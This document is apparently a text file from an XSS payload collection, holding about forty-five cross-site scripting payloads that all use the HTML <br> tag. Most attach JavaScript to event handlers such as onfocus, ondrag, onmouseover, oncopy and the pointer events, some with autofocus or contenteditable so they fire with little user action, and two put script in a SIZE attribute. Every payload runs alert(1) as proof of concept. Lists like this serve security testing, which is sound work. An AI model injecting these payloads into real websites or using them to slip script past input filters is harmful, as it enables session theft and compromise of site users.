br.txt

<br draggable="true" ondrag="alert(1)">test</br>
<br draggable="true" ondragend="alert(1)">test</br>
<br draggable="true" ondragenter="alert(1)">test</br>
<br draggable="true" ondragleave="alert(1)">test</br>
<br draggable="true" ondragstart="alert(1)">test</br>
<br id=x tabindex=1 onactivate=alert(1)></br>
<br id=x tabindex=1 onbeforeactivate=alert(1)></br>
<br id=x tabindex=1 onbeforedeactivate=alert(1)></br><input autofocus>
<br id=x tabindex=1 ondeactivate=alert(1)></br><input id=y autofocus>
<br id=x tabindex=1 onfocus=alert(1)></br>
<br id=x tabindex=1 onfocusin=alert(1)></br>
<br onafterscriptexecute=alert(1)><script>1</script>
<br onbeforecopy="alert(1)" contenteditable>test</br>
<br onbeforecut="alert(1)" contenteditable>test</br>
<br onbeforepaste="alert(1)" contenteditable>test</br>
<br onbeforescriptexecute=alert(1)><script>1</script>
<br onblur=alert(1) tabindex=1 id=x></br><input autofocus>
<br onclick="alert(1)">test</br>
<br oncontextmenu="alert(1)">test</br>
<br oncopy=alert(1) value="XSS" autofocus tabindex=1>test
<br oncut=alert(1) value="XSS" autofocus tabindex=1>test
<br ondblclick="alert(1)" autofocus tabindex=1>test</br>
<br onfocusout=alert(1) tabindex=1 id=x></br><input autofocus>
<br onkeydown="alert(1)" contenteditable>test</br>
<br onkeypress="alert(1)" contenteditable>test</br>
<br onkeyup="alert(1)" contenteditable>test</br>
<br onmousedown="alert(1)">test</br>
<br onmouseenter="alert(1)">test</br>
<br onmouseleave="alert(1)">test</br>
<br onmousemove="alert(1)">test</br>
<br onmouseout="alert(1)">test</br>
<br onmouseover="alert(1)">test</br>
<br onmouseup="alert(1)">test</br>
<br onmousewheel=alert(1)>requires scrolling
<br onpaste="alert(1)" contenteditable>test</br>
<br onpointerdown=alert(1)>XSS</br>
<br onpointerenter=alert(1)>XSS</br>
<br onpointerleave=alert(1)>XSS</br>
<br onpointermove=alert(1)>XSS</br>
<br onpointerout=alert(1)>XSS</br>
<br onpointerover=alert(1)>XSS</br>
<br onpointerrawupdate=alert(1)>XSS</br>
<br onpointerup=alert(1)>XSS</br>
<BR SIZE="&{javascript:alert(1)}">
<BR SIZE="&{alert('XSS')}">